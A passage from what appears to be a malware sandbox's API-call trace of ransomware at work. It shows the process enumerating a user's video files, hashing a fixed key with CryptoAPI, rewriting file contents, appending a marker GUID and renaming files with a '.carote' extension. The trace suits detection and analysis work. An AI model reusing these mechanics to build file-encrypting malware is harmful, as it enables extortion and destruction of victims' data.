[0113.864] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.865] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.865] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.865] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.865] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.865] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.865] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.865] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.866] GetLastError () returned 0x0 [0113.866] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.866] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.866] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc9c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.866] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.866] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.866] CloseHandle (hObject=0x61c) returned 1 [0113.867] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\cbC165GWDZo.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\5unaip8qoxzy\\cbc165gwdzo.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\cbC165GWDZo.mp4.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\5unaip8qoxzy\\cbc165gwdzo.mp4.carote")) returned 1 [0113.868] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37da4e0, ftCreationTime.dwHighDateTime=0x1d4cebb, ftLastAccessTime.dwLowDateTime=0x3e5990, ftLastAccessTime.dwHighDateTime=0x1d4c587, ftLastWriteTime.dwLowDateTime=0x3e5990, ftLastWriteTime.dwHighDateTime=0x1d4c587, nFileSizeHigh=0x0, nFileSizeLow=0x3b10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PcVv8f8Jk 5Z5aP.flv", cAlternateFileName="PCVV8F~1.FLV")) returned 1 [0113.869] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\PcVv8f8Jk 5Z5aP.flv") returned=".flv" [0113.869] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\PcVv8f8Jk 5Z5aP.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\5unaip8qoxzy\\pcvv8f8jk 5z5ap.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.869] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=15120) returned 1 [0113.869] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.871] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3aea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.871] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.872] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x3b10, lpOverlapped=0x0) returned 1 [0113.872] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.873] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.873] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.873] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.873] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.873] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.873] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.873] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.874] GetLastError () returned 0x0 [0113.874] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.874] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.874] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3b10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.874] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.874] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.874] CloseHandle (hObject=0x61c) returned 1 [0113.875] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\PcVv8f8Jk 5Z5aP.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\5unaip8qoxzy\\pcvv8f8jk 5z5ap.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\PcVv8f8Jk 5Z5aP.flv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\5unaip8qoxzy\\pcvv8f8jk 5z5ap.flv.carote")) returned 1 [0113.876] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37da4e0, ftCreationTime.dwHighDateTime=0x1d4cebb, ftLastAccessTime.dwLowDateTime=0x3e5990, ftLastAccessTime.dwHighDateTime=0x1d4c587, ftLastWriteTime.dwLowDateTime=0x3e5990, ftLastWriteTime.dwHighDateTime=0x1d4c587, nFileSizeHigh=0x0, nFileSizeLow=0x3b10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PcVv8f8Jk 5Z5aP.flv", cAlternateFileName="PCVV8F~1.FLV")) returned 0 [0113.876] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.876] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.876] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.876] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0113.876] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.876] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\") returned="aSFf3q\\" [0113.876] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0113.876] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0113.876] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\") returned="DflAw\\" [0113.876] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ec028 [0113.877] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0113.877] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\") returned="UYaZ4DG0b_NROc5iB6tm\\" [0113.877] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.877] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0113.877] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ec028 | out: hHeap=0x5010000) returned 1 [0113.877] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0113.877] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.877] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0113.877] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.877] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.877] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0113.877] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.877] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.877] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.877] PathFindFileNameW (pszPath="") returned="" [0113.877] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.877] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f2f1cb0, ftCreationTime.dwHighDateTime=0x1d4d0bb, ftLastAccessTime.dwLowDateTime=0x1806e190, ftLastAccessTime.dwHighDateTime=0x1d4ce1b, ftLastWriteTime.dwLowDateTime=0x1806e190, ftLastWriteTime.dwHighDateTime=0x1d4ce1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.879] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.879] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f2f1cb0, ftCreationTime.dwHighDateTime=0x1d4d0bb, ftLastAccessTime.dwLowDateTime=0x1806e190, ftLastAccessTime.dwHighDateTime=0x1d4ce1b, ftLastWriteTime.dwLowDateTime=0x1806e190, ftLastWriteTime.dwHighDateTime=0x1d4ce1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.879] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc26e440, ftCreationTime.dwHighDateTime=0x1d4d1dd, ftLastAccessTime.dwLowDateTime=0x9f8e2030, ftLastAccessTime.dwHighDateTime=0x1d4d2f1, ftLastWriteTime.dwLowDateTime=0x9f8e2030, ftLastWriteTime.dwHighDateTime=0x1d4d2f1, nFileSizeHigh=0x0, nFileSizeLow=0x16682, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-ZNuS.avi", cAlternateFileName="")) returned 1 [0113.879] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0113.879] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.879] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0113.879] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\-ZNuS.avi") returned=".avi" [0113.879] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\-ZNuS.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\asff3q\\-znus.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.880] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=91778) returned 1 [0113.880] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.881] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1665c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.881] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.883] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.883] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.883] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.883] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x16682, lpOverlapped=0x0) returned 1 [0113.884] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.884] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.884] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.884] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.884] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.885] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.885] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.885] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.885] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.885] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.885] GetLastError () returned 0x0 [0113.885] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.885] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.885] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.885] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x16680) returned 0x7b1c730 [0113.885] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.885] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.885] WriteFile (in: hFile=0x61c, lpBuffer=0x7b1c730*, nNumberOfBytesToWrite=0x1667d, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b1c730*, lpNumberOfBytesWritten=0x825fb24*=0x1667d, lpOverlapped=0x0) returned 1 [0113.886] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c730 | out: hHeap=0x5010000) returned 1 [0113.886] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16682, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.886] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.886] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.886] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0113.886] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.886] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.886] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.886] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.886] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.886] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.886] CloseHandle (hObject=0x61c) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16690 [0113.887] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b14908 [0113.887] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16690 | out: hHeap=0x5010000) returned 1 [0113.888] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\-ZNuS.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\asff3q\\-znus.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\-ZNuS.avi.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\asff3q\\-znus.avi.carote")) returned 1 [0113.888] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.888] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.889] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.889] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d923d0, ftCreationTime.dwHighDateTime=0x1d4ca5a, ftLastAccessTime.dwLowDateTime=0xa22b6960, ftLastAccessTime.dwHighDateTime=0x1d4c595, ftLastWriteTime.dwLowDateTime=0xa22b6960, ftLastWriteTime.dwHighDateTime=0x1d4c595, nFileSizeHigh=0x0, nFileSizeLow=0x53c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ejvopeLEHjhZFIqxW7G.mkv", cAlternateFileName="EJVOPE~1.MKV")) returned 1 [0113.889] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0113.889] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.889] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0113.889] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\ejvopeLEHjhZFIqxW7G.mkv") returned=".mkv" [0113.889] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\ejvopeLEHjhZFIqxW7G.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\asff3q\\ejvopelehjhzfiqxw7g.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.889] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=21445) returned 1 [0113.890] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.891] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x539f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.891] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.893] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.893] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.893] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.893] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x53c5, lpOverlapped=0x0) returned 1 [0113.893] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.893] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.893] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.893] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.894] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.894] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.894] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.894] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.894] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.894] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.894] GetLastError () returned 0x0 [0113.894] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.894] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.895] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.895] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x53d0) returned 0x7b1c730 [0113.895] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.895] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.895] WriteFile (in: hFile=0x61c, lpBuffer=0x7b1c730*, nNumberOfBytesToWrite=0x53c0, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b1c730*, lpNumberOfBytesWritten=0x825fb24*=0x53c0, lpOverlapped=0x0) returned 1 [0113.895] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c730 | out: hHeap=0x5010000) returned 1 [0113.895] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x53c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.895] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.895] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, 